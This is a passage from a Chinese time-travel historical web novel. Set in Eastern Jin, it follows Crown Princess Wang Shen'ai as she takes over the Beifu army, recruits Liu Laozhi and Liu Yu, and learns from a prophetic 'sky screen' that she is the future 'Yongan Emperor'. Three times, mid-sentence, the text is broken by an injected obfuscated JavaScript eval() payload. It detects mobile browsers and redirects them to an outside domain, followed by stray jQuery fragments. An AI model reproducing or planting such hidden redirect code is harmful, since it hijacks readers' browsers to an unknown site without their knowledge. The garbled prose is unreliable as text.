然而短短数日之后,天幕就来了。 天幕上的神仙说什么来着? 哦。说他这个匈奴铁弗部落的余孽,会凭借着自己的相貌,当上秦国大将的女婿,自此扶摇直上,结果非但没给他的岳父带来好结果,反而杀了岳父而后拥兵建国。 换了他是没奕于,也得先把这个忘恩负义的白眼狼给宰了。 名为“勃勃”的匈奴少年夺路而逃,身中一箭,才总算冲出了包围圈。 现在只剩下了一个问题,他该往哪里去? 北方已没有他的容身之所了。 慕容垂病逝后,魏国拓跋珪的声威与日俱增。这位亲自统兵、有虎视天下野心的霸主,不会接受他的投诚,只会将当年没完成的灭族达成圆满。他若到了魏国的地盘上,非死不可。 他那个“岳父”和岳父上头的国主,同样不愿意要一个天幕钦定的叛逆者。 再往西北去的凉国,看似还能割据一方,但以勃勃所见,也不过是秋日的鸣蝉,离死只差一步。他去了那里,运气不好就会被当做礼物送出去,运气好也只是多活几年而已。 一想到这里,他不由望着前方的滔滔江水,陷入了沉思。 黄河水里,曾经被拓跋珪投入了他铁弗部落子弟宗党五千余人,每当他经过的时候,都能闻到肠胃翻腾的血腥味。 头顶遥遥悬挂于天边的天幕,明明并不算巨大,却像是一座遮天蔽日的牢笼,非要将他逼入浑浊泥水之中溺毙才好。 但又在这忽然之间,一种奇怪的想法在他的头脑中冒了出来,明明异想天开到了极点,却又越演越盛,直到侵占了他全部的思绪。 像是一瞬间挣脱出了面前江流里的漩涡。 “……我也姓刘啊?” 他没记错的话,天幕还有一句话,说的是—— 【效忠于永安大帝的刘大将军。】 所以他为什么不能是这个“刘大将军”! 他们匈奴人昔年畏惧汉朝的威仪,知道汉家文化深入人心,以“刘”为姓,也包括一度建立起刘汉(汉赵)政权的刘渊。 他是刘渊的同族,当然也姓“刘”! 天幕只说他会谋杀岳父,篡权自立,但没有说,当那位能够平定南北的永安大帝挥兵北上的时候,他作为一位独立政权的国君,到底是在铁蹄之下被杀,还是干脆解散政权,向对方投诚。 反正在他们匈奴人的观念里,当不下去首领了,就去当别人的将领,也没什么大不了的。 多正常的事。 万一,他就是那个能替永安大帝继续北上,攻破魏国的刘大将军呢? 或者,就算他不是,在天幕再次出现,将信息都披露出来前,他能不能凭借着自己的本领,让别人觉得,他就是那个“刘大将军”呢? 刘勃勃对于自己有多少本事心知肚明,若非如此,他也不会得到“岳父”的青眼。 这让他对于执行这个南下的计划,越发有了信心。 …… 当追兵顺着线索追来的时候,只在黄河北岸看到了一些零散的木头,那个被追杀的匈奴少年早已拼尽全力,涉江而去了。 …… 而在此时,另一个侥幸逃命的人,已站到了王神爱的面前。 年近四旬的刘牢之正如司马道子所怀疑的那样,极有可能就是天幕所指的刘大将军。 他面色泛着一层鲜明的紫赤之色,眼如鹰隼,胡髯虬须,加之体格健硕,性情沉稳,一看便是能够独当一面的大才。 也难怪昔年他被招募入北府军后,很快便脱颖而出,凭借战功升迁,甚至封侯。 只可惜,他在面对慕容垂这位老将的时候,他大败了一场,还救援失败了一场…… 此刻他身上已无官职与爵位,只有一身昔日戎马留下的痕迹,以及先前与人交手留下的伤势。 他朝着王神爱便是一个抱拳叩拜的重礼,语气无比郑重:“草民多谢太子妃救命之恩。” 刘牢之虽长于尚武世家,但自谢玄病逝后,他就已少了后台,再经由罢官风波,变作了白身,与乡野村夫也没什么区别。 最多比别人多长几分力气而已。 他又怎么会想到,在看到天幕的时候,他都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022972|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个胆子把自己和“刘大将军”联系在一起,会稽王司马道子居然这么看得起他! 要不是太子妃与王珣联手诛杀司马道子,又恰好从他口中获知了此事,当即派人来援,他的性命早已丢了。 他不在乎王神爱此举,是不是为了多处下网,给天幕中预告会遭到惨祸的王氏寻找保命之法,他只在乎这个结果—— 他和他全家的性命都是太子妃救的。 既有恩,便该报。 王神爱伸手将他搀扶了起来,开口问道:“我听族叔说,当年燕国慕容氏进攻廪丘,高平太守徐含远发信告急,刘将军发觉敌我悬殊,最终没有出兵救援,以守城为先。这才被以怯弱畏敌的罪名被罢官?” 刘牢之愣了一愣,沉声点头,“是!” 这是个事实,他没法否认。 所以,就算他不知道王神爱为何忽然提到这一句,他也没有其他的回答。 但他顺着托举的力道抬眼,就对上了一张清淡的笑容,不似问罪的样子。 “那么敢问刘将军,若是再度让你领兵,你能洗脱这个怯战的罪名吗?” 刘牢之的双耳一阵轰鸣,在跟着王神爱的脚步向外走去的时候,险些以为自己行走在云端。 可他身上的剑伤还在泛着刺痛,提醒他昨日的险死还生,他也没有听错。 当他顺着王神爱的手向着远处看去,更是看到了一片熟悉的军服,熟悉的战旗,和熟悉的列阵号角! 那是从京口调来的北府军,只比刘牢之早到两日,驻扎在了皇城脚下。 王神爱望着那片招展的旗幡,徐徐道:“司马道子与司马元显父子虽已伏诛,但与他们合谋的王国宝、赵牙等人仍在外领兵,怀有异心,急需北府军前去讨伐。天幕一出,各方动荡,桓氏至今还未入朝请见,恐怕也是居心不轨,需有精兵护持皇城。” “朝堂上下能够领兵的人不少,但真正能够称得上是将军的人却不多。不知——” “刘将军愿不愿意助我一臂之力?” 刘牢之只犹豫了一瞬,便已给出了答案,“末将敢不从命!” 他怎么会不愿意? 能够光复原职、统领兵马,是他多年间的夙愿。 未来的明主是谁,根本没有那么重要! 起码现在,太子妃才是这个极有胆色,又有识人之明的上位者。 在听闻王神爱有意从北府军中单独选拔一批精兵,作为她的亲卫时,他即刻挺直了腰板,拿出了昔年北伐的统兵气度,从下头的北府军中喊出了他早年间的副将孙无终。 刘牢之大叹了一口气,“我离开北府军已有数年,若要举荐良将精兵,还是得他来。” 孙无终虽有些奇怪,为何天子驾崩,指挥北府军的变成了太子妃。 但眼见刘牢之是这个态度,他连忙应道:“明日午时之前,我便从军中选拔出二百精锐,交与太子妃验看,倒是这精锐统领,我想今日就举荐一人,请您过目。” 见王神爱颔首同意,他当即朝着下方招手。 一个身着筩袖铠,头顶五色帢的领队立刻快步小跑,登上了城楼,朝着几人跑来。 刘牢之眯了眯眼睛,凝视着这道身影。 他在被辞官前,并没有对此人的印象,但见他相貌奇伟,身量颇高,铠甲之下是一身操练出来的腱子肉,顿时便可确认,孙无终会举荐此人,绝不只是因为交情,而是因为此人确有本事。 王神爱也瞧见了这人的模样,便朝着眼前这行礼的小卒问道:“你叫什么名字?” 忽然被征召到大人物的面前,这小卒也不见慌乱,朗声应道:“在下姓刘,单名一个裕字,表字德舆,是孙将军帐下司马。” 孙无终一把拍上了他的脑袋,“什么德舆不德舆的,咱们北府军不讲究这个。” 他忽然意识到自己正在贵人的注视下,又讪讪将手收了回来,挤出了个若无其事的笑容,转向了王神爱。 “您唤他小名寄奴就好,此人勤勉善战,是个好用的人才。”① 9. 009 “寄奴?” “是寄住的寄。”刘裕向着面前的贵人解释。 从身份上来说,他只是个“小卒”,需要经过孙无终的引荐,才能走到有地位的人面前,但他今年,其实已过了三十岁。 一个出身底层的人,哪怕是在北府军中,也需要花费这样多的时间,才能站到人前,这便是今日的现状。 好在,刘裕不是个喜欢自怨自艾的人,以他今时的年龄,也已可以坦然地提及往事。 “家母诞下我后不久,就因产后疾病而死,我……父亲无力负担养育一个孩子,想将我丢了,是姨母垂怜,将我接到家中抚养,便起了个寄奴的小名。” “原是如此。”王神爱若有所思。 寄奴啊…… 她也只是恍惚了一瞬,就道:“那就你了。” 孙无终面颊一抽:“就……就这么定了?” 他是在推荐人选的时候,拿出了他认为最合适的答案,但也不能这么草率吧? 王神爱道:“我让你筹备精兵,你没有上来便排出二百个人,而是说明日午时前选完人,可见你这将军当得并不轻率。” “再看这位刘司马,一看便知在习武事上未曾懈怠,还目光清正,为人沉稳,也不怵提及家世过往,是个实诚的好兵,这卫队统领的位置他自然能做。怎么?反而是你这个举荐之人少了些胆量?” 孙无终猛地一个点头:“您说得不错,他能不能扛起重任,您一试就知。” 王神爱拊掌,“这才像是要上战场的人该说的话。” “刘将军——” 刘牢之立刻上前。 不知是不是他的错觉,当“刘将军”三字从王神爱口中说出的时候,同在此地的孙无终和刘裕,都朝着他投来了一个羡慕至极的眼神。 刘牢之却莫名一阵后背发凉。 王神爱道:“这里的事情就交给你了,别忘了我先前与你说的话。” 朝廷如今内忧外患,司马道子父子的部从兵进建康,会不会退兵还是未知数。 无论先前,刘牢之到底是在评估战局还是当真怯战,现在都必须拿出强硬的做派来。 兵权,她已经交给他了,但愿别让她失望。 刘牢之连忙行礼应道:“请太子妃放心。” 他起身就见,太子妃已缓步走下了城楼。 若只看她的仪态与身形,同另一侧的北府军几乎形成了两个极端。 东晋皇室的奢靡之风、魏晋士人的衣袂飘逸,在她的衣着上依然有着极为鲜明的体现。 可奇怪的是,眼见刘裕跟上了王神爱的脚步,他甚至觉得,还是太子妃的背影更为高大一些。 仿佛,在重新走入宫城的那一刻,扛起了建康气运。 …… “北府军中将士每日军粮几何?” 刘裕讶异了一瞬,就见王神爱已回过了头来,又问了一次,“你是北府军中出来的,算算年纪也在其中时日不短,这几年间,北府军中将士每日军粮几何?” 刘裕答道:“非战时一日约莫三升,战时略逊于五升。” “这食粮……似乎大有不足?”王神爱略一思量,得出了结论。 刘裕的目光一闪,并未答话,但已给出了默认的答案。 不过他这沉默,也因太子妃这句快速得出的判断。 晋朝皇室并未东渡的时候,还闹出过何不食肉糜的笑话,再加上近年间北府军的粮饷大大削减,刘裕险些以为,上头的人都不知道寻常士卒该吃多少饭了。 王神爱道:“我前日翻起了晋朝先祖的手札,提到昔日高祖宣皇帝与诸葛孔明交战时的情形,其中说到,若在军中日食三升,都是病人的表现了。如今征调北府军护驾,总不能让他们吃不饱饭。” “明日选出的亲卫,更要另行训练,配备精甲,不求以一当十,也得有胜过三五好手的本事,更不能短了吃用。” 刘裕提醒道:“先时有朝中敕令,自司徒以下,不可多于日廪七升。” “这规矩是谁定的?”王神爱冷嗤一声。 刘裕哑然:“……会稽王。” 司马道子定的。 行了,他好像不用多说了。 王神爱:“他人都已经死了,这条规矩就自此作废了吧。北府军和亲卫的米粮,我来想这个办法。” 次日被召集入宫的北府军精锐本以为,被遴选为内宫亲卫,是要填补宿卫军的空缺,但因多年间积弱,还得与朝廷里的那些奇形怪状的宗室打交道,算不上什么好差使。 哪知道刚来报道,便已从刘裕这里得到了一个好消息—— 亲卫军每十日给米一斛(一日十升),几乎是先前的翻倍。 旬日休假,若并未犯错,还可将部分米粮换成肉蛋荤腥。 精兵甲胄也已从府库中调来,供给他们随时取用。 他们先前的颓丧之气当即一扫而空。 这世上再没有什么,比让人吃饱饭更能令人精神振奋!这是一条最为直白的道理。 虽然不知道太子妃是如何办到的,但听她的吩咐总没什么错。 数日后到访的王珣,却是看着那些分发出去的军粮眼皮直跳:“你哪儿来的钱买这些粮食?” 王神爱虽然从太后这里得到了一份懿旨,但并不代表,她真能用太子妃的权力征调国库。 这些增补给士卒,用于收买人心的军粮,都是她自己出的! 要这么说的话,那些得到了好处的士卒,也不算感谢错了人。 王神爱将手中的书翻过了一页,像是浑然没听出王珣话中的质疑,平心静气地答道:“你要说,这是张贵人对我保住了她性命的感谢也行,算是她给我的贿赂也行。若无天幕,这笔重礼大概是要落到司马道子手里的,现在归我,也能保她一命,有何不可?” 张贵人当了起码十年的宠妃,又不是个毫无心计的人,积攒下来的钱财不在少数。起码帮王神爱维系住亲卫队半年以上的米粮,再给北府军一点好处,并不难办到。 王珣抽了一口冷气,“你收她的东西?” “有何问题?”王神爱终于将目光从眼前的书页上挪开,看向了王珣。 “啪”的一声,她手中的书卷不轻不重地压在了桌上。 王珣立时对上了一双冷淡的眼睛。 “别以为我这几日没怎么在人前露面,就不知道你们在私底下都说了些什么。” “司马道子父子的私产,比之皇帝也不差多少,由谁去查抄,如何查抄,让你们废了不少脑子吧?现在都没商量出个所以然来。我若是等着这笔钱财充盈国库,再经过层层审核,分发到我这个太子妃的手里,早已让那些士卒饿死了!” “还是说,族叔觉得,我该等琅琊王氏的赠予?你们商量出,要如何避过未来的死劫了吗?” 王珣一噎:“……我已将你当日说的话转告了族中,但王氏家风根深蒂固,要改变处世之道,不是一日之功。” 王神爱没吭声。 王珣却觉得,这不是接受了他给出的解释,而是干脆懒得说话。 当日宫变之时,甚至是次日杀死司马道子时,王神爱身上满是命不由己的惶惑,如今…… 她还恪守着太子妃的“本分”,除了手握一支私兵、铲除朝堂祸患之外,没有做出多余的事情,却像是在平静而孱弱的外表之下,蛰伏着一种难以形容的力量,随时都会如岩浆喷涌而出。 但再看去,又分明还是先前模样,只是从抻直的脖颈到抬高的下颌线里,都透露着——失望。 她很失望。 “这件事,我会……” “太子妃!”刘裕忽然自外间匆匆行来,打断了王珣的话。“刘将军截获了一封密报,让我先送来给您过目。” 眼见王珣也在此地,这位“沉稳”的亲卫首领立刻端正地站定在了一边,再未多说一个字。 王珣却很难不瞪大了眼睛,试图理解方才由刘裕说出的话。 什么叫做,刘将军截获了一封密报,先送给太子妃过目? 这才过了几日! 王神爱目不斜视,从刘裕的手中接过了这封军情密报,拆开阅览了起来。 王珣还没想出个所以然来,已听到了王神爱皱眉急道:“出事了。” 他脸色一变:“什么出事了?” 王神爱语气沉沉:“荆州出事了!” 朝廷的秩序还未因皇位交接,被重新确立起来,天幕已经带来了额外的影响。 …… 东晋的兵马,除了北府军这支特殊的兵力外,其他的地方兵马,大多由门阀士族掌握。 东渡之后,中央军队的实力出现了惊人的跌落,也让朝廷对于地方兵马的依赖越来越重。 当门阀在地方扎根,这支地方军就与门阀之间,形成了门生故吏的紧密联系。就算朝廷再想更换统帅,也很难真正将兵权收回。 荆州军长久处在桓氏的统领下,虽然因桓冲过世而被改换了将领,但依然与桓家有着千丝万缕的联系。 如今的荆州刺史名为殷仲堪,是因门荫入仕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026829|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又得到了先帝的信任,让他破格出任。 偏偏殷仲堪其人,确不太适合做一方封疆大吏。 他虽然事必躬亲,质朴节俭,但没什么决断的本事,难成建树。 然而荆州这几年间气候不大寻常,连年遭受水旱之祸,有一年更是有蜀地洪水流入荆州,荆州这头却没能提前做好堤坝的防护,被冲毁了数千户人家。 统御兵马的事情,更是和处理民生大事如出一辙。 此次天幕陡降,天子身死,殷仲堪也即刻慌了神。 在他手下却有个人身份特殊,正是先前司马道子想要杀死的桓玄,当场就向他发起了一番谏言。 桓玄劝说殷仲堪,此刻最应该做的事,就是联合同样坐镇在外的将领一并向建康而去,先击退王国宝等人组成的叛军,积攒起威望,再静观其变。 司马氏的两位皇子是什么情况,大家都心知肚明。那位二皇子极有可能没这个胆魄鲸吞天下。 既然如此,他们没这个必要再做司马氏的忠臣,多为自己考虑考虑总是没错的。 殷仲堪却不同意这样做。 他认为,如今各方心思叵测,他们先行出兵,便会惹来非议。从荆州到建康,也比京口等地前往建康更远,反而落了下乘,还不如等待朝廷做出决定由谁继位,或者天幕再度出现,再行决定用兵方略。 反正,荆州兵力强盛,将来若要北伐,也是一路不可或缺的助力,没人会亏待他们。 …… “荆州兵马明面上因殷仲堪的诏令调度整顿,实际上……” 王神爱不得不佩服,有些人天生便有成为枭雄的本事,绝不愿意坐以待毙,也不会放弃任何能抓住的机会,“桓玄已杀了殷仲堪,以桓氏旧部夺回了荆州军的权柄。” 殷仲堪的堂弟娶了桓玄的姐姐,也没改变殷仲堪的死局。 她对着王珣冷笑了一声:“族叔,看到了吗?这就是你们犹豫的代价!” 她一把收起了密信,喊上了刘裕,“走,我们去找刘将军。” 可她刚刚迈出门口,便被惊慌失措的宫人抓住了衣袖,“太子妃——您看!” 王神爱朝着天边看去,就见那快已黯淡了数日的天幕,正在以缓慢的速度重新亮起来,像是先前耗尽的能量重新被人充满了。 她连忙暂时抛开了荆州之变带给她的震撼,全神贯注地朝着天幕上看去。 她不能错过这些稍纵即逝的消息。 不过数息的时间,它就已从隐隐泛着白光,变成了完整发亮的屏幕,先前“掉线”前的画面,也重新浮现了出来。 让人安心的是,紧跟出来的,正是之前停下的那一句,就好像先前并没有消失过一样。 只是天幕的背景,从黑夜变成了白昼。 【为了避免又有人说,我是永安大帝的无脑吹,我会在接下来的篇章,以更为客观的旁观者身份叙述。】 【说是制衡之时,或许也可以说,这是永安大帝真正的成长之路。】 【考古学家发掘出的文物中,有一部分是永安大帝的阅读手札。我们可以看到,为了暂时避开一些人的锋芒,为了更快适应变化的时局,这个阶段的永安读了非常多的书,也做了相当多的批注。】 【有一句话,屡次出现在永安大帝的笔下,作为谋求生路时的叩问——】 天幕上展现出了一张图片,那是一行字迹,像是竹简上的片段截取。 经过了特殊的处理,将它清晰地呈现了出来。 【权从何来?】 “……!” 若不是此刻人人都在看向天幕,只怕必定会有人看见,太子妃的脸色遽然变得惊愕交加。 王神爱更是极力克制住了自己的手,才没将其举起,去揉搓自己的眼睛,以便将眼前的画面看得更清楚些。 不仅仅是因为,天幕上呈现出的,是一行对这个时代来说缺胳膊少腿的字。 还因为,那出现在众人面前的四个字,分明是她的字迹! 在今日王珣找上她前,还被她留了一行在那本书卷上。 如果说,那就是永安大帝的字…… 王神爱的眼神都呆滞了,直愣愣地看着那亲切异常的笔画,组合成了一行再清楚不过的证据。 若没有猜错的话……不,好像不需要猜。 天幕都已告诉她了。 她就是天幕所说的永安大帝,那个,以穿越者身份统一南北的盖世英豪! …… 坏了,挟天子谋权篡位的反贼竟是她自己! 10. 010 王神爱怎么也没想到,她在这儿为了迎接永安大帝的改朝换代,只想先拥有一份立身之本,都快愁得要脱发了。 结果,那个被天幕上说得举世无双、能按着乱世之中一众猛人暴打的永安大帝,竟然不是旁人。 她才是这个自己要找的人! 若是此刻没有旁人在她的身边,她非得指着自己问一句—— 谁?我吗? 但奇怪的是,在这片刻的愕然与思绪混乱过后,她的脑海中只是疑惑,竟不曾跳出一个想法,叫做“我配不配”。 她来自于后世,从小到大接受的教育中,都有那一句“王侯将相宁有种乎”。 而她穿越到如今,也才不到半月,带着的依然是后世的时代烙印。 从那个光怪陆离的夜晚到今日,她看到的也都是东晋乱世当中的荒唐与混乱。 都说时势造英雄。 倘若……倘若她真的有这个本事收复山河,挥师北上,提前二百年结束中原的战乱,她根本无需逃避。 她虽算不上熟知历史,但也敢想敢做,总比这个时代下不少人格都不健全的皇帝强上太多。 那么—— 为什么不能是她! 在这电光石火之间,她只担心一件最为要紧的事情。 天幕的存在固然神异,但从司马道子父子、桓玄、王珣等人的表现来看,还远不到将其奉为圭臬。 南方是这样,北方恐怕更是这样。 有能力凌驾于皇权之上的,仍旧希望享有特权。自认有本事当上皇帝的,仍旧有着一个皇帝梦。 除非天幕后续的解说,能让人切身感受到永安大帝荡平南北的本事,否则,一旦暴露出了她的名字,她随时都有可能遭遇灭顶之灾。 那司马氏篡夺曹魏的皇权,简直是开了个天大的好头,让皇权与天命之间再没有了那么强的关联。 更别说,她还是个女子! 这才是更为要命的地方。 两汉虽有太后摄政,但就算是有帝王之姿的吕雉与邓绥,也都没有从太后跳到皇帝的位置上,她却要来开这个先河,遇到的阻力不言而喻。 那也无怪天幕说,她会挟天子以令群臣长达十余年。 就算因为前人造成的认知,再加上那句琅琊王氏被屠戮大半,让她目前绝不可能出现在王珣的怀疑名单里,这种好运到底能够持续多久,她也不敢做出定论。 她不能永远走在危险的钢索之上,必须随时做好发生意外的准备。 万一天幕下一刻就报出她的名字,琅琊王氏现在就能站到她的对立面去。 “这字……倒是好字。” 王珣不知道王神爱此刻所想,已认真地端详起了天幕上的那幅字样,唯恐错过半点线索。 都说字如其人,怎么也能看出些东西。 但图上字形简略,字体……也与“二王”所写的楷书不大一样,论起笔画,要更显端庄浑厚一些。 又大约是因为这四字,困扰着彼时的永安大帝,正是抒发心中情绪所写,还有些潦草肆意。 王珣翻遍了自己的记忆,也没找出自己的记忆里,有谁的字是和上头的示例沾边的。 转头去看王神爱,就见她的脸上也有几分迷茫。 她轻声喃喃:“族叔,您说什么样的人,会明明饱读诗书,也更喜欢用简化字呢?” 这话可把王珣给问倒了。 从天幕中说永安大帝读书不少来看,这个行为绝不是因为刚刚习字,记不住笔画,而是…… 一个做事极有自己想法、甚至有些独断的人才会有的表现? 笔画少,写得就快,也更显果断实用。其中还有一个简化字,应当是新创。 他几乎在第一时间就想到了身在荆州的桓玄。 可还没等他将这个结论说出口,就听到天幕上说道: 【权从何来?这是身处建康漩涡中的永安大帝日思夜想的问题。】 【司马曜被敲定了“孝武皇帝”的谥号,以最快的速度入土为安,以图尽快将皇室丑闻翻篇。司马道子本就执掌有朝政大权,即刻扶持傻子太子司马德宗继位,也就是后来的晋安帝。】 【傻子无法处理朝政事务,中央的军政大权,就全部落到了司马道子的手里。】 【同时,司马道子十五岁的儿子司马元显被调入朝中,协助父亲主持朝政……】 王珣一边嘀咕了一句“这父子俩都已成死人了,可见天幕也能改变”,一边又在心中做出了一个判断—— 若这永安大帝此刻身在建康的话,毫无疑问,他不会是桓玄。 当然,早在天幕上的“权从何来”四字出现时,远在荆州的桓玄就已颇为怅惘地得出了这个结论。 …… “不是我。” 那位永安大帝不是他。 因为那不是他的字。 桓玄摩挲着手中那把染血的长剑,缓缓发出了一句遗憾的感慨。 他形貌瑰奇,称得上一句风神疏朗,自前几日杀死荆州刺史殷仲堪,假传他的命令夺取荆州军以来,他觉得自己一日比一日地理解—— 父亲当年明明和琅琊王氏、陈郡谢氏一样,已经站在了门阀的最高处,为何还要更进一步,试图谋划天子之位。 人呐,一旦得到了权力,品尝到了这种滋味,就很难再将它从自己的手里放下,甚至还会想要将其抓得更紧一些,绝不让旁人夺走。 能做到这一点的,只有天下的主宰者。 “将军会因为这一点,后悔自己先前的举动吗?” 桓玄瞥了身旁那位留着长髯的老友一眼:“你说呢?我是桓家的人。” 桓氏以军功起家,学不来琅琊王氏的那一套。 早年间琅琊王氏还未发家的时候,作为王氏崛起的重要人物,王祥在打出了“卧冰求鲤”的孝顺招牌后,还能避世隐居二三十年待价而沽,换来一经入仕便即刻高升的待遇。又借着站定司马家的立场,保住了王氏随后的地位。 正是因为这位先导者的所作所为,琅琊王氏这百年间多是应时而动,审时度势,宁可慢半步起手,换取后来居上。 可他们大约是忘了,现在的琅琊王氏子弟多是些拿不出手的玩意,没有几个人能做到王祥、王导这些人的明断局势、果敢下注! 在天幕带来的巨变面前,生死攸关,犹豫就会落后。 他一点也不后悔先前的决断! 起码现在,他有兵权在手,便绝不会变成任人宰割的鱼肉。 可比天幕中说到的永安大帝,要有底气得多。 瞧瞧这小可怜在建康城里过的是什么担惊受怕的日子吧—— 【司马道子父子相比起同时期的一些人,唯独还能称得上是长处的一点是,他们并不滥杀,没像是一度侵占长安的慕容冲一般,在夺取大权后大开杀戒。但永安大帝此刻的处境,依然能称得上是一句如履薄冰。】 【此前几乎没有离开过建康城,意味着,永安没有经历过多少风雨,却要在这一夕之间的身份转变中,面对第一重致命的威胁。】 【按照晋书记载,司马元显入京后不久,就被司马道子授予了侍中的官职,加征虏将军号,一时之间风头无两。这当然是一个不合规矩的委任,但皇帝是傻子,朝政权力也是先帝给司马道子的,朝臣除非起兵反叛,否则没有立场驱逐这对父子。】 【侍中——更是一个很微妙的官职。】 朝堂上的老油条反应得很快。 天幕的解释也紧随而来。 【何为侍中?在永安大帝进行官职改革之前,侍中负责的是陪在皇帝身边出谋划策,权力巅峰时堪比宰相。】 【当然,司马道子给自己最器重的儿子安排这个官职,不是为了给他上来就赋予宰相的权力,而是为了让他在自己看顾不到的时候“陪伴”在皇帝身边,作为一双名正言顺监视的眼睛。】 【正是凭借着这个职位,司马元显自此横行无忌,可以肆意地出入皇城内外,还笼络了一批部将,肆无忌惮地在建康城中招摇。】 【也就是在这个时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030277|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看上了永安。】 天幕之下顿时响起了一阵抽气声。 惊得众人彼此面面相觑,方才确定自己不曾听错了话。 【永安大帝身份特殊,司马道子巴不得让人当个吉祥物,能不说话就别说话,谁知道自己的儿子突然来了这么一出,当即大怒。但作为一个“合格”的父亲,他的第一反应,不是训斥他的儿子,而是觉得,永安接近司马元显势必另有居心,想要折腾出什么事端来。】 【他思前想后,做出了一个决定。他要让人神不知鬼不觉地死去,以免招惹来不必要的麻烦。】 【但很不巧,因为这对父子的争执声音有点大,被一个宫人听到了,这宫人又恰好与永安的母亲有故交,竟将这个消息送了出去。】 【事以密成,语以泄败。在第一步就已经出现了天大的问题。】 “真是荒唐!”王神爱面色凛然,突然开了口。 先前的天幕解说时间,已足够将身在建康的宗室与朝臣聚集在太极殿前,一如之前获知司马曜死讯的时候一样。 太子妃这一出声,便显得尤其醒目,让周遭的目光顿时集中在了她的身上。 “我说错了吗?”王神爱坦然地迎接着这些扫视过来的视线,“前有苻坚和慕容冲的例子,司马元显还敢有此心思,再如何聪慧,也不是成大事之人!” “我若是他,必定尽快启用朝中贤才,挽回一些名声,否则按此行事,怎能不惹来四方非议、天下动乱!” 这话一出,顿时引来了一片应和之声。 是啊。 发起淝水之战的大秦天王苻坚,一度拿前燕宗室出身的慕容冲做男宠,以至于在战败后惹来了疯狂的报复。 那永安大帝的本事,看起来远远强过慕容冲,又怎么可能愿意遭到这样的亵渎,必定要给司马元显一个好看。 就算此时的永安大帝还没成为后来的天下之主,光是遍览群书,就值得当做人才来招纳、启用。 侍中这样的朝廷重臣都是这等做派,只怕彼时的东晋朝廷早已是一团乌烟瘴气! 太子妃与王将军先前快速杀死司马道子与司马元显,杀得真是太对了! 在这一片议论声中,唯有太后李陵容的表情略有几分异样。 是她之前和司马元显接触少了吗?她怎么也想不起,在先前与司马元显的往来中,有见过他喜好男风。 偏偏天幕说得言之凿凿,方今世道这等情形也不少见,更为重要的是—— 司马元显已然伏诛,根本没法给出个解释。 死人是没法为自己辩解的! 他已经永远闭嘴了。 在这一众声音的诱导下,李陵容除了尽量说服自己,也没有其他的路可走。 思忖间,她又忍不住往一旁的司马德文脸上多看了一眼。 太子妃从她这里拿到调兵的权力前曾经说过,二皇子比起司马元显都要更有可能是那位永安大帝,但她这个太后生得黑壮,司马曜像她,二皇子又像司马曜…… 总而言之,他虽然年纪尚小,已看得出来长得不怎么漂亮。 司马元显怎么看也不能为了他违背父亲的意思。 她心中的希望,好像又要落空一个了。 只有天幕的声音在将她混乱的思绪努力拉拽回来。 【……】 【无论是为了清除朝堂上的强权威慑,恢复吏治清明,还是为了抢先一步摆脱即将被司马道子害死的困境,永安大帝都必须要尽快展开行动。】 【这就出现了一个问题,是杀那个当父亲的,还是杀那个当儿子的呢?】 【这二者都不容易办到,此时的永安大帝,没有后来的那些得力助手,唯独能够依靠的,就是自己的头脑。】 【有人说,大帝有仇必报的性情、草蛇灰线的布局,都在随后的一系列事情中,展现出了端倪。因为我们随后看到的——】 【是一场针对司马元显布下的必杀之局。】 【或者说,是一场想要同时铲除这父子两人的布局。】 11. 011 【以永安这个时候的身份,很难让人想到,会这么快确定下来“要杀就杀两个”,也以最快的速度执行了下去。】 【目标,还是会稽王与会稽王世子。】 王珣和下方的其他朝臣真是恨不得,头顶的天幕能有个拖拉进度的按钮,让他们尽快获知,到底谁才是那个永安大帝。 天幕屡次提到的“身份特殊”“这个时候的身份”,对于天幕上的神仙来说,似乎是一个默认皆知的东西,可他们这些人不知道啊! 每次听到这种模棱两可的信息,他们就一阵抓心挠肺的难受。 按理来说,这样的形容,在这建康城中符合标准的绝不会太多。 光是能够接触到中央人物、读书不少,就能筛选掉相当一部分人。 可为什么!他们这些人自诩有才,竟没能找出一个可以对应的人选! 让他们猜很有意思吗? 可惜他们的这些抱怨,注定是没法让发出视频的人看到的。 在天幕透露的历史里,司马元显并没有如现在这样,因太后宣调的懿旨被骗入宫中,遭到了伏击被杀,而是光荣地当上了侍中,在建康横行无忌,但也终于惹上了一个硬茬。 【这个时候的永安大帝注定了没法招募兵马。好在,一个聪明人在身不由己时,知道自己应该做什么事,比如说,挑起内乱,借力打力。】 【有两个人,在这个时候,进入了永安的视野。一个叫支妙音,一个叫王恭。】 【先来说说王恭这个人。】 